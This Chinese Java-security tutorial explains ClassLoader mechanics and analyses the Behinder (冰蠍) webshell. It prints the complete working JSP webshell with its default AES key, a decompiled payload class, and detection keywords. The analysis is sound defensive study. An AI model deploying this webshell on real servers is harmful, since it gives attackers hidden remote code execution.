天天看點

JAVA安全(4)——ClassLoader機制與冰蠍Webshell分析

作者:盛邦安全

告别腳本小子系列丨JAVA安全(4)——ClassLoader機制與冰蠍Webshell分析

JAVA安全(4)——ClassLoader機制與冰蠍Webshell分析

前言

告别腳本小子系列是本公衆号的一個集代碼審計、安全研究和漏洞複現的專題,意在幫助大家更深入的了解漏洞原理和掌握漏洞挖掘的思路和技巧。系列課程包含多篇文章,往期課程和後續規劃目錄如下。如果你對下面的某些内容感興趣,可以點選關注。

目錄

1. Java本地調試和遠端調試技巧

2. Java反編譯技巧

3. Java安全基礎概念之反射與ClassLoader

4. ClassLoader機制與冰蠍Webshell分析

5. Java反序列化基礎

6. CommonCollections利用鍊分析介紹上

7. CommonCollections利用鍊分析介紹下

8. JNDI注入原理與fastjson漏洞實踐

9. Weblogic反序列化漏洞分析

10. Java指令回顯技術研究

11. Java記憶體馬技術研究

12. RASP技術研究

13. 基于CodeQL的自動化代碼審計技術研究上

14. 基于CodeQL的自動化代碼審計技術研究下

……

0x01 概念

從之前的課程中我們已經知道Java代碼運作的過程是從位元組碼到JVM,由JVM來最終對JAVA代碼進行執行,整個過程如圖1.1所示。

JAVA安全(4)——ClassLoader機制與冰蠍Webshell分析

圖1.1 JAVA代碼執行過程

整個JAVA代碼執行過程中很關鍵的一步是從JAVA位元組碼到JVM虛拟機,這個過程就稱為類加載過程,簡稱ClassLoader。任何一個JAVA類必須經過ClassLoader加載之後,才能被調用和執行。

對于一般的JAVA開發人員來說并不太關心ClassLoader類加載機制,但是ClassLoader是學習java安全中的一個極重要的概念,ClassLoader為攻擊者提供了一種執行任意java代碼的途徑,有點類似于PHP中的eval。當然ClassLoader的用法要比eval複雜很多。

0x02 ClassLoader介紹

JDK自帶的ClassLoader有三個,分别是BootstrapClassLoader、ExtClassLoader和AppClassLoader。檢視類加載器可以通過Class對象的getClassLoader函數實作。

三者之間存在父子關系,BootstrapClassLoader加載器是ExtClassLoader的父加載器,ExtClassLoader加載器是AppClassLoader加載器的父加載器。

2.1 BootstrapClassLoader

BootstrapClassLoader:引導類加載器,屬于最頂層的類加載器,主要用于加載java的核心庫,包括rt.jar、resources.jar等。引導類加載器加載的都是jdk原生攜帶的核心庫,通過C/C++語言實作,引導類加載器的實作邏輯是JVM的一部分,不能通過java代碼控制引導類加載器的行為。

一般而言,以java、javax和sun開頭的類對應的類加載器是BootstrapClassLoader。例如我們經常說的JNDI注入時用到的ldap協定對應的實作類javax.naming.ldap.LdapName,檢視此類對應的類加載器,如圖2.1所示。這裡需要說明的是,如果擷取到的類加載器為null,則表示類加載器是引導類加載器BootstrapClassLoader。

JAVA安全(4)——ClassLoader機制與冰蠍Webshell分析

圖2.1 LdapName類對應的加載器是引導類加載器

究竟有哪些類的加載器是屬于引導類加載器呢?有一種通過檢視全局屬性的方式可以擷取引導類加載器加載的類對應的路徑,如圖2.2所示。

System.getProperty("sun.boot.class.path")

JAVA安全(4)——ClassLoader機制與冰蠍Webshell分析

圖2.2 引導類加載器對應的類路徑

筆者曾經有一個想法是這樣的,已知RMI協定在用戶端和服務端之間是通過序列化和反序列化的方式來傳遞資料的,網上的公開資料也可以查到關于RMI反序列化漏洞的利用方式,參考連結(https://xz.aliyun.com/t/6660)。但是這種反序列化利用方式有一個很大的前提是必須綁定一個函數,接受的參數類型是Object,這樣就大大增加了RMI反序列化利用的局限性。有沒有一種可能是在RMI協定協商過程中通過修改互動的序列化内容達到無限制的反序列化利用?

相關的過程比較複雜,如果有機會,可以再開一篇文章詳細分析整個過程。這裡隻抛出結論,那就是不可以。我們要修改RMI協定互動過程中序列化資料包(把正常的序列化資料包,替換為惡意的序列化資料),就必須要修改RMI協定的實作類,但是RMI的實作類和ldap一樣,對應的類加載器是引導類加載器BootstrapClassLoader。

BootstrapClassLoader隻能加載java、javax和sun開頭的類,而目前為止還沒有任何一條反序列化利用鍊是隻用到了java、javax和sun開頭的類,我們修改的RMI實作類中引入的其他類(比如反序列化常用的CommonCollections類)都不會生效。可能有的讀者會覺得我們要實作RMI協定又不是一定要用JAVA遠端的類,隻要知道了協定原理,我們完全可以用python模拟實作RMI用戶端,這樣就可以實作發送惡意的序列化資料的效果。這樣的想法确實用戶端是實作了發送惡意序列化資料的效果,但是服務端接收到資料進行反序列化的時候是一定用原生代碼的,這時候引導類加載器就不會再加載惡意類了。

這應該是一個JAVA的安全機制問題,不允許任意修改引導類加載器加載的類,引導類加載器隻能加載java、javax和sun開頭的類。

2.2 ExtClassLoader

ExtClassLoader:擴充類加載器,一般屬于JDK自帶的一些非核心功能實作類。ExtClassLoader是由java代碼實作的,可以被其他java程式調用。以類jdk.internal.dynalink.beans.BeansLinker為例來檢視對應的加載器,如圖2.3所示。

JAVA安全(4)——ClassLoader機制與冰蠍Webshell分析

圖2.3 BeansLinker類的加載器是ExtClassLoader

與引導類加載器類似,擴充類加載器加載的類路徑也儲存在系統屬性中,可以直接通過檢視對應屬性的方式檢視擴充類加載器加載的類路徑。

System.getProperty("java.ext.dirs")

JAVA安全(4)——ClassLoader機制與冰蠍Webshell分析

圖2.4擴充類加載對應的類路徑

2.3 AppClassLoader

AppClassLoader:應用類加載器。應用類加載器是java應用中最常見的加載器,在java項目中自己編寫的java類和引入的第三方類都由應用類加載器加載到JVM中。以類com.sun.deploy.uitoolkit.PluginUIToolKit類為例檢視對應的加載器,如圖2.5所示。

JAVA安全(4)——ClassLoader機制與冰蠍Webshell分析

圖2.5 PluginUIToolKit類的加載器是AppClassLoader

應用類加載器會加載目前應用classpath中的所有類,也可以通過讀取系統屬性值來檢視應用類加載器對應的加載路徑。

System.getProperty("java.class.path")

JAVA安全(4)——ClassLoader機制與冰蠍Webshell分析

圖2.6 應用類加載器對應的類路徑

0x03 ClassLoader原理

如果是細心的小夥伴就會發現圖2.6和圖2.2中有部分類有重合,也就是說一個類既被引導類加載器加載,又被應用類加載器加載。那麼這種被兩個類都加載的類怎麼算呢?以哪個類加載器為标準,還是會在記憶體加載兩次?

3.1 雙親委派模型

要搞清楚這個問題,就要先學習ClassLoader的雙親委派機制。這裡借用網上一張存在的圖來說明,如圖3.1所示。

JAVA安全(4)——ClassLoader機制與冰蠍Webshell分析

圖3.1 類加載中的雙親委派機制

以一句話來總結雙親委派模型就是“總是優先把加載類的任務交給父加載器”。例如,如果要加載一個類com.util.xxx,那麼加載順序應該是這樣的:

1. 首先看自定義的加載器(如果沒有自定義加載器,則直接到步驟2)中是否已經加載了類com.util.xxx,如果已經加載過,就直接傳回,否則交給AppClassLoader。

2. 檢視AppClassLoader是否已經加載了com.util.xxx,如果已經加載過,就直接傳回,否則交給ExtClassLoader。

3. 查找ExtClassLoader是否已經加載了com.util.xxx,如果已經加載過,就直接傳回,否則交給BootstrapClassLoader。

4.查找BootstrapClassLoader是否已經加載了com.util.xxx,如果已經加載過,就直接傳回,否則從BootstrapClassLoader的加載路徑中查找是否存在目标類。如果BootstrapClassLoader沒有找到目标類,則交給ExtClassLoader。

5. 從ExtClassLoader的加載路徑中查找是否存在目标類,如果ExtClassLoader沒有找到目标類,則交給AppClassLoader。

6. 從AppClassLoader的加載路徑中查找是否存在目标類,如果AppClassLoader沒有找到目标類,則交給自定義ClassLoader。

7. 從自定義ClassLoader對應的路徑查找是否存在目标類,如果自定義ClassLoader沒有找到目标類,則抛出異常。

從上面的過程可以看出,整個類的加載過程中總是優先使用父類加載器進行加載,如果父類加載器找到了目标類,就直接傳回結果。那麼我們再來回答一下本小節開頭提出的問題,如果AppClassLoader加載器和BootstrapClassLoader加載器都可以加載某個類,JVM會優先選擇通過BootstrapClassLoader加載器來加載目标類,記憶體中也不會保留兩份目标類的加載對象。

3.2 源碼解析

所有的ClassLoader的實作類都必須繼承java.lang.ClassLoader類,這個類是加載器的共同基類。這裡有一點需要注意的是java.lang.ClassLoader類是抽象類,是以不能被直接使用,但是這個類裡面沒有抽象方法,是以隻要是繼承自java.lang.ClassLoader類的類可以不覆寫重寫任意方法。如圖3.2所示。

JAVA安全(4)——ClassLoader機制與冰蠍Webshell分析

圖3.2 ClassLoader類不能被直接使用

在ClassLoader類中,有三個方法對于了解類加載器原理特别重要。分别是loadClass、findClass和defineClass。

1) loadClass方法

loadClass方法的作用是通過指定的類全限定名加載類。從字面意思來了解就是實作類加載器的功能。從loadClass的源碼中也能很清晰地看出雙親委派模型的實作邏輯,如圖3.3所示。

JAVA安全(4)——ClassLoader機制與冰蠍Webshell分析

圖3.3 loadClass源碼解析

關于loadClass方法中的關鍵步驟筆者已經标注在上面的圖中,可以看出java.lang.ClassLoader類的loadClass類就是實作雙親委派模型的關鍵步驟。如果說父加載器并沒有傳回目标類的資訊,則調用findClass方法繼續查找目标類。這裡說明一下,此函數末尾有一個resolveClass函數,實際上此函數并沒有什麼實際用處,因為預設情況下resolve為false,不會執行對應的代碼。

2) findClass方法

findClass方法的作用也是基于類的全限定名來查找對應的目标類,但是查閱findClass的源碼卻發現JDK并沒有對此方法進行實作,java.lang.ClassLoader類中的findClass方法定義如圖3.4所示。

JAVA安全(4)——ClassLoader機制與冰蠍Webshell分析

圖3.4 findClass源碼解析

可能有的讀者就覺得很疑惑,為什麼會有一個留白的方法存在?而且這個方法還是最重要的方法之一?其實這個方法是JDK故意留下給自定義ClassLoader繼承并覆寫重寫的方法,如果需要實作自定義ClassLoader,最标準的做法就是繼承java.lang.ClassLoader類并重寫findClass方法(為什麼不建議重新loadClass方法,因為這樣就會破壞雙親委派模型)。

如果要看findClass的标準實作方式,就隻能通過java.lang.ClassLoader類的繼承類來檢視。筆者這裡選擇一個典型的繼承類URLClassLoader來了解一般findClass方法的實作,如圖3.5所示。

JAVA安全(4)——ClassLoader機制與冰蠍Webshell分析

圖3.5 findClass源碼解析

從這裡我們可以看出,findClass最終會調用defineClass來把目标位元組碼加載到JVM中。

3) defineClass方法

defineClass是最終真正把位元組碼轉化為可調用執行的類的方法,defineClass傳回的是類對應的Class對象(關于Class對象的使用方法,請參考第三課中反射的相關知識)。defineClass的實作方式如圖3.6所示。

JAVA安全(4)——ClassLoader機制與冰蠍Webshell分析

圖3.6 defineClass源碼解析

defineClass的具體實作邏輯比較複雜,這涉及到很多較低層的知識,我們并不關心具體怎麼實作的。但是有一點必須要清楚的是,defineClass是真正把位元組碼轉化為Class對象的方法。

0x04 冰蠍Webshell分析

冰蠍是目前最流行的一種webshell,由于對請求包和相應包都經過了AES加密,是以監測難度極大,也深受攻擊者喜愛。從網上下載下傳最典型的冰蠍webshell,格式化之後如下所示。

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
  class U extends ClassLoader{
    U(ClassLoader c){
      super(c);
    }
    public Class g(byte []b){
      return super.defineClass(b,0,b.length);
    }
  }
%>
<%
  if (request.getMethod().equals("POST")){
    String k="e45e329feb5d925b";/*該密鑰為連接配接密碼32位md5值的前16位,預設連接配接密碼rebeyond*/
    session.putValue("u",k);
    Cipher c=Cipher.getInstance("AES");
    c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
    new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
  }
%>            

1) 第一部分是導入需要的包

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>           

java.util.* ,這個是java預設的基礎包。主要提供了需要用到的HashMap這些類。

javax.crypto.*, 這主要提供了用于AES加密和解密需要的包

javax.crypto.spec.*, 主要用于提供AES解密需要的密鑰

2) 自定義ClassLoader,執行指定的class位元組碼

<%!
 class U extends ClassLoader{
    U(ClassLoader c){
      super(c);
    }
    public Class g(byte []b){
      return super.defineClass(b,0,b.length);//調用父類的defineClass方法
    }
  }
%>           

在3.2章節中我們提到過自定義ClassLoader的标準寫法是重寫findClass方法,但是冰蠍的作者是直接重寫的defineClass方法,這樣寫從原理上來說是完全可以的,但是這樣寫會破壞ClassLoader的雙親委派模型(對于冰蠍來說,這完全不重要,沒有雙親委派模型反而可以沒有限制的加載自己的位元組碼)。

預設ClassLoader中的defineClass函數是protected的,必須要重寫才能直接調用。冰蠍自定義ClassLoader最核心就是把definedClass方法重寫為方法g。

3) 解密使用者傳入的資料

if (request.getMethod().equals("POST")){
    String k="e45e329feb5d925b";/*該密鑰為連接配接密碼32位md5值的前16位,預設連接配接密碼rebeyond*/
    session.putValue("u",k); //把密鑰儲存在session中
    Cipher c=Cipher.getInstance("AES");//引入AES加解密算法
    c.init(2,new SecretKeySpec(k.getBytes(),"AES"));           

k就是冰蠍的連接配接密鑰,也就是資料包中的加密密鑰。

1. 把密鑰儲存在session中,主要是為了友善後面動态傳入的class位元組碼執行的時候也能擷取到對應的密鑰。

2. 冰蠍AES加密/解密的密鑰也就是連接配接的密鑰。是以新版的冰蠍已經沒有密鑰協商的過程了。

4) 解密并執行傳入的位元組碼

new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);           

這段代碼還是不好看,繼續格式化,友善閱讀。

String d1 = request.getReader().readLine(); //擷取傳遞過來的POST請求體
byte[] d2 = new sun.misc.BASE64Decoder().decodeBuffer(d1); //對請求體進行base64解碼
byte[] d3 = c.doFinal(d2); //使用上一步的密鑰對請求體進行AES解密,擷取位元組碼
new U(this.getClass().getClassLoader()).g(d3).newInstance().equals(pageContext); //通過自定義的ClassLoader對位元組碼進行執行           

其他步驟都很好了解,對最後一步進行說明

1. newInstance()方法主要是調用位元組碼類的無參構造函數建立對應類的對象,詳細可以參考java反射的概念。

2. 通過生成的類對象調用equals方法,并且傳參為pageContext(pageContext是jsp中的頁面輸出類對象)

5) 傳輸位元組流分析

上面已經說清楚了冰蠍執行的整個過程,但是為了更加清晰的了解冰蠍傳遞的位元組碼究竟是什麼樣的,我們抓一個包,解密之後來看位元組碼的明文資料。

把解密之後的變量d3儲存到檔案req.class。

JAVA安全(4)——ClassLoader機制與冰蠍Webshell分析

圖4.1 記錄儲存冰蠍位元組碼

重放任意一個冰蠍的資料包,可以看到req.class檔案已經生成了。反編譯該class檔案,對應的内容大緻如下。

……
public class Echo {
    public static String content;
    private ServletRequest Request;
    private ServletResponse Response;
    private HttpSession Session;


    public Echo() {
    }


    public boolean equals(Object obj) {
        PageContext page = (PageContext)obj;
        this.Session = page.getSession();
        this.Response = page.getResponse();
        this.Request = page.getRequest();
        page.getResponse().setCharacterEncoding("UTF-8");
        HashMap result = new HashMap();
        boolean var12 = false;
        ...
        try {
            so = this.Response.getOutputStream();
            so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
            so.flush();
            so.close();
            page.getOut().clear();
        } catch (Exception var15) {
            var15.printStackTrace();
        }
        return true;
}
...
}           

這段代碼最核心的是惡意的equals函數,從中可以看出系統惡意的代碼流程。

6) equals方法的反思

equals方法一般用于對兩個類進行比較,熟悉java開發的人對這個方法應該不會陌生。但是在冰蠍的邏輯裡面,确實把equals方法作為惡意代碼的執行方法,有沒有其他的方法可以替代equals呢?

通過反射的newInstance方法建立的對象屬于Object, Object類支援的方法如圖4.2所示。從清單中可以看出Object類中隻有equals方法支援傳入Object類型的參數,是以預設情況下就隻能用equals方法,沒有其他方法可以替代。

JAVA安全(4)——ClassLoader機制與冰蠍Webshell分析

圖4.2 Object類支援的方法清單

Object類雖然隻有equals方法接受Object類型參數,但是其他還有很多類是支援Objectl類型參數的。但是這樣就必須要對反射生成的對象進行強制類型轉換(向下轉型)。

7) 冰蠍關鍵字提取

對于冰蠍的webshell來說,有一些關鍵字是實作冰蠍所必須的。總結如下表所示。

關鍵字 是否必須 原因
ClassLoader webshell一定要繼承ClassLoader,但是也可以繼承ClassLoader的子類,子類不一定有這個特征
defineClass 要把位元組碼轉化為Class對象,一定要使用這個方法
newInstance 通過Class對象生成Object對象,反射建立對象必須使用的方法
equals 在上面已經分析過了,也可以調用其他接收Object類型參數的方法,隻是需要類型轉換
request 接收外部傳輸的資料一定需要

當然這裡列舉的一些關鍵字隻是從webshell的實作邏輯來分析,不考慮一般繞過技巧,不能直接作為WAF防禦的依據,例如:

1. 還有一些關鍵字class、return、extends這些也是必須的;

可以通過ScriptEngine來隐藏上面的關鍵字;

2. defineClass也可以通過反射的方式實作,不是必須出現此關鍵字;

針對如何對冰蠍等webshell進行檢測和防護繞過,後續會輸出專項文章進行分析,大家可以持續關注。

參考連結

https://blog.csdn.net/briblue/article/details/54973413

https://xz.aliyun.com/t/6660

相關閱讀

告别腳本小子系列丨JAVA安全(1)——JAVA本地調試和遠端調試技巧

告别腳本小子系列丨JAVA安全(2)——JAVA反編譯技巧

告别腳本小子系列丨JAVA安全(3)——JAVA反射機制

原文連結:https://mp.weixin.qq.com/s?__biz=MzkzNjMxNDM0Mg==&mid=2247483971&idx=1&sn=13bc478b9bad8c40279f4a2b22c7e29e&chksm=c2a1d6caf5d65fdc4c76043ba0650ca947722c69bfd4bca69a4ef35d3fb318b5cf26fa557c6d&token=201425388&lang=zh_CN#rd

繼續閱讀